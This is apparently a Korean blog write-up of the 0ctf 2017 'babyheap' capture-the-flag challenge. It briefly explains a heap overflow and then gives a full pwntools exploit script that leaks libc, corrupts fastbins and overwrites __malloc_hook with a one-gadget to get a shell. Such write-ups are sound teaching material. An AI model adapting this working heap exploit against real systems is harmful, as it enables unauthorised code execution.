본문 바로가기
CTF

0ctf 2017 babyheap

by Anatis 2021. 3. 1.

이번 문제는 바이너리를 분석해보면 힙을 할당, 해제, 데이터 쓰기, 출력이 있다.

데이터 쓰기 부분에서 힙의 사이즈에 상관없이 입력한 사이즈 만큼 데이터를 입력받을 수 있기 때문에 여기서 힙 오버플로우가 발생한다.

 

힙을 할당하는 부분에서 malloc이 아닌 calloc을 사용하기 때문에 UAF로 인한 leak이 불가능 하고, FULL RELRO이기 때문에 got overwrite는 불가능하다. 이때 사용할 수 있는 __malloc_hook 공간이 있다. 이 공간에 oneshot 가젯으로 조작하여 셸을 획득할 수 있다. 

 

exploit

from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']
p = process('./0ctfbabyheap')
elf = ELF('./0ctfbabyheap')
# gdb.attach(p)

def Alloc(size):
    print p.sendlineafter('Command:', '1')
    print p.sendlineafter('Size:', str(size))

def Fill(idx, size, data):
    print p.sendlineafter('Command:', '2')
    print p.sendlineafter('Index:', str(idx))
    print p.sendlineafter('Size:', str(size))
    print p.sendlineafter('Content:', str(data))

def Free(idx):
    print p.sendlineafter('Command:', '3')
    print p.sendlineafter('Index:', str(idx))

def Dump(idx):
    print p.sendlineafter('Command:', '4')
    print p.sendlineafter('Index:', str(idx))

Alloc(0x10) # 0
Alloc(0x10) # 1
Alloc(0x10) # 2
Alloc(0x10) # 3
Alloc(0x80) # 4

Free(2)
Free(1)

payload = p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
Fill(0, len(payload), payload)

payload = p64(0)*3
payload += p64(0x21)
Fill(3, len(payload), payload)

Alloc(0x10)
Alloc(0x10)

payload = p64(0)*3
payload += p64(0x91)
Fill(3, len(payload), payload)

Alloc(0x80) # 4

Free(4)
Dump(2)

print p.recvuntil(': \n')
leak = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak - 0x3c4b78     # main_arena offset 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
oneshot = libc_base + 0x4527a

log.info('leak = ' + hex(leak))
log.info('libc base = ' + hex(libc_base))
log.info('malloc hook = ' + hex(malloc_hook))
log.info('oneshot = ' + hex(oneshot))

Alloc(0x60) 

Free(4)

payload = p64(malloc_hook - 0x23)
Fill(2, len(payload), payload)

Alloc(0x60) # 5
Alloc(0x60) # 6

payload = '\x00'*3
payload += p64(0)*2
payload += p64(oneshot)
Fill(6, len(payload), payload)

Alloc(0x20)

p.interactive()

 

댓글